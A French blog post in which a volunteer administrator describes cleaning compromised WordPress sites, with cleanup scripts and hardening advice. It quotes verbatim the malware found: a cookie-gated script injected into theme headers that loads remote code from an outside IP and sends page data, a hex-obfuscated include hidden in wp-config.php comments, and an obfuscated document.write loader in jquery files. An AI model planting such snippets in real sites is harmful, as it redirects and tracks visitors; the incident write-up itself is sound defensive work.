Hack de sites Wordpress avec jquery.min.php / jquery*js

Depuis quelques jours, je recevais des mails de monit, indiquant un load average trop élevé sur un serveur dont je m'occupe épisodiquement (serveur de l'association Down Up).

Cela m'a semblé curieux, car il  s'agit d'un serveur dédié OVH, avec un Xeon 8 coeurs, et 64 Go de RAM, qui héberge uniquement quelques sites web.

Ayant eu dans le temps des problèmes de piratage de sites, j'ai regardé le nombre de messages dans la file postfix :

mailq

Oups ! plus de 23 000 messages en attente, rejetés par les plates-formes cibles.

Dans les messages, le nom de l'un des sites apparaît. Il s'agit d'un Wordpress, dans une version assez ancienne. Dans les différents répertoire, on découvre des fichiers php infectés, traînant un peu partout, avec la même date : 16 novembre. Ce qui veut dire que depuis plusieurs jours, la machine est infectée.

Je supprime les fichiers php infectés, et teste l'accès au site, qui semble fonctionner, mais qui redirige vers  des sites pour adultes...

En y regardant plus précisément, d'autres sites ont le même comportement, alors qu'aucun nouveau fichier ne date de novembre ; pas de fichiers curieux non plus.

Contenu des fichiers infectés

Une recherche sur Google me donne quelques pistes. Je fouille également dans mes cookies, pour découvrir un cookie nommé __cfgoid. La recherche dans les fichiers de Wordpress me sort tous les fichiers header.php des thèmes.

Une ligne de javascript a été insérée dans les fichiers : 

<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCS
tring();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(va
r e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__
cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascr
ipt" src="' + 'http://80.90.43.202/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'snt2014' + '&utm_source=' + window.location
.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var
 metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() =
= "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(
/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><'
+ '/script>')));</script>
</head>

Il suffit de supprimer la ligne pour nettoyer les entêtes. J'ai développé pour cela un script shell de quelques lignes :

#!/bin/bash
# Recherche les fichiers infectes
BADFILE=$(grep -lR jquery.min.php *)
#
# pour chacun
for fic in $BADFILE ; do
  echo === Traitement de $fic ===
  echo sed -i.bak '/cfgoid/d' $fic
  sed -i.bak '/cfgoid/d' $fic
done

Le script recherche d'abord la chaine jquery.min.php dans tous les fichiers des sous-répertoires, puis pour chacun supprime la ligne contenant le nom du cookie.

Un arrêt / relance du serveur http Apache permet de vider le cache php...

Après nettoyage, je vais modifier les permissions pour interdire l'écriture dans les répertoires de thèmes Wordpress.

Le fait que les fichiers php puissent être utilisés un peu partout dans Wordpress ne rend pas les choses faciles.

Si on compare à Drupal, dans ce dernier, seul le fichier index.php doit être appelé directement. Les fichiers à inclure ont une extension .inc L'appel d'un autre script php peut donc être refusé, ce qu'on fait facilement avec des règles nginx...

Utilisateur Wordpress pirate

En regardant dans la table wp_users, on découvre également un utilisateur inconnu, avec une date d'enregistrement nulle ;

select user_login , user_registered from wp_users;
+-----------------------------+---------------------+
| user_login                  | user_registered     |
+-----------------------------+---------------------+
| XXX                         | 2013-02-25 15:19:19 |
| XXXX                        | 2013-03-05 11:15:08 |
| XXXX                        | 2014-12-22 21:19:38 |
| wp.service.controller.OlVSC | 0000-00-00 00:00:00 |
| XXXX                        | 2016-12-01 06:57:31 |
+-----------------------------+---------------------+
5 rows in set (0.00 sec)

Include dans le fichier wp-config.php

Autre fichier infecté, de manière plus subtile : wp-config.php, dans lequel on trouve un include entre deux commentaires :

/**
 * Langue de localisation de WordPress, pa*/include /*r défaut en Anglais.
 *
 * Modifiez cette valeur pour lo*/"\x2fvar\x2fwww\x2fwor\x64pre\x73s/p\x72od/\x64own\x75psy\x6ed/w\x70-in\x63lud\x65s/f\x6fnts\x2fpa
g\x65.ph\x70";/*caliser Word*/include /*Press. Un fichier MO correspondant
 * au langage choisi doit être installé dans le dossier wp-content*/"\x2fvar\x2fwww\x2fwor\x64pre\x73s/p\x72od/\x64own\x75psy\x6ed/w
\x70-ad\x6din/\x73tar\x74.ph\x70";/*/languages.
 * Par exemple, pour mettre en place une traduction française, mettez le fichier
 * fr_FR.mo dans wp-content/languages, et réglez l'option ci-dessous à "fr_FR".
 */

Si on décode cela donne :

include /var/www/wordpress/prod/downupsynd/wp-includes/fonts/page.php;
include /var/www/wordpress/prod/downupsynd/wp-admin/start.php;

Effectivement, les deux fichiers sont infectés, et datent de décembre 2015... Ils seront supprimés.

Autre cause, sur la base de fichiers jquey*js

Malheureusement, ceci n'a pas suffi, puisqu'en testant le lendemain je retombe sur les mêmes symptômes, alors que les répertoires sont en lecture seule pour l'utilisateur www-data. En inspectant les cookies dans le navigateur, je n'en voie qu'un seul : csrf_uid.

Par contre une recherche avec grep -lr csrf_uid * ne donne rien...

J'ai trouvé la recherche sur le web : en recherchant sur le nom du cookie, j'arrive sur plusieurs sites qui me renvoient vers des chaînes de caractères encodées, puis je tombe sur cet article : Virus Wordpress qui attaque jQuery.js

Et là, je découvre plus de 1300 fichiers infectés, car d'après l'article une fois que le fichier php malveillant a été téléchargé via une faille Wordpress, il remonte toute l'arborescence du système de fichier, pour infecter les fichiers jquery.*.js, et ajouter les lignes :

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))

Pour traiter le problème, j'ai fait un bout de script shell :

#!/bin/bash
#
echo "Recherche des fichiers avec setCookie"
grep -lr setCookie *
echo
CURDIR=$(pwd | sed 's|/|_|g')
# -----------------------------------------------
echo Recherche des fichiers avec infections jquery.js
grep -rl 'var _0xaae8' *
echo
echo -n "Traiter les fichiers ? "
read REP
if [ "$REP" == "o" ] ; then
  BADFILE=$(grep -lR 'var _0xaae8' *)
  echo
  echo "Suppression de la ligne infectée"
  echo
  for fic in $BADFILE ; do
    echo === Traitement de $fic ===
# ajouter un saut de ligne avant
    sed -i 's/var _0xaae/\nvar _0xaae/g' $fic
# Supprime la ligne
    echo sed -i.bak '/var _0xaae8/d' $fic
    sed -i.bak '/var _0xaae/d' $fic
    SLUG=${CURDIR}_$(echo ${fic}.bak | sed 's|/|_|g')
    mv $fic.bak /var/trash/${SLUG}
  done
fi
echo

Il faut donc se positionner dans les répertoires, puis lancer le script (penser à créer le répertoire /var/trash si on veut garder la trace des fichiers infectés).

Une fois que ceci est fait, je recommande fortement de désactiver le xmlrpc (on peut renommer le fichier) ou mettre en place une directive Apache, dans chaque VirtualHost (ce qui élimine les risques en cas de mise à jour wordpress).

    <files xmlrpc.php>
      order allow,deny
      deny from all
    </files>

Et comme expliqué ci-dessous, sécuriser l'accès aux répertoires.

Bref, ceci aura bien occupé mon week-end !

Quelques conseils de sécurisation pour les répertoires

Extraits du code Wordpress : https://codex.wordpress.org/Hardening_WordPress

Il est recommandé d'utiliser un compte séparé de celui utilisé par le serveur http, et de positionner les droits comme ceci :

  • / : le répertoire racine doit être en rw par notre compte, et lisible par le serveur http
  • /wp-admin : répertoire d'administration, en écriture par notre compte uniquement
  • /wp-includes : contient un ensemble de fichiers, en écriture seulement par notre compte
  • /wp-content : fichiers en lecture et écriture par notre compte et le serveur http.

On peut sécuriser encore un peu plus, en limitnt les accès en lecture sur les répertoires wp-content/themes et wp-content/plugins.

Un script shell fait tout cela :

#!/bin/bash
# Set correct file permissions for Wordpress
# Run at wordpress root

echo -n "Owner : "
read php_username
if [ "$php_username" = "" ] ; then
  echo "Good bye ..."
  exit
fi
echo -n "Group : "
read group_name
if [ "$group_name" = "" ] ; then
  echo "Good bye ..."
  exit
fi

#Forbid apache from writing to your Wordpress application files
chown -R ${php_username}:${group_name} .
find . -type d -exec chmod 750 '{}' \;
find . -type f -exec chmod 640 '{}' \;

cd wp-content
find . -type d -exec chmod 770 '{}' \;
find . -type f -exec chmod 660 '{}' \;

chmod 750 themes
chmod 750 plugins

et ne pas oublier de mettre régulièrement à jour Wordpress et ses extensions...

Sécurisation du répertoire wp-includes

On peut également ajouter quelques directives au fichier .htaccess, afin d'empêcher l'accès direct aux fichiers php contenus dans wp-includes :

# Block the include-only files.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>

 

Catégorie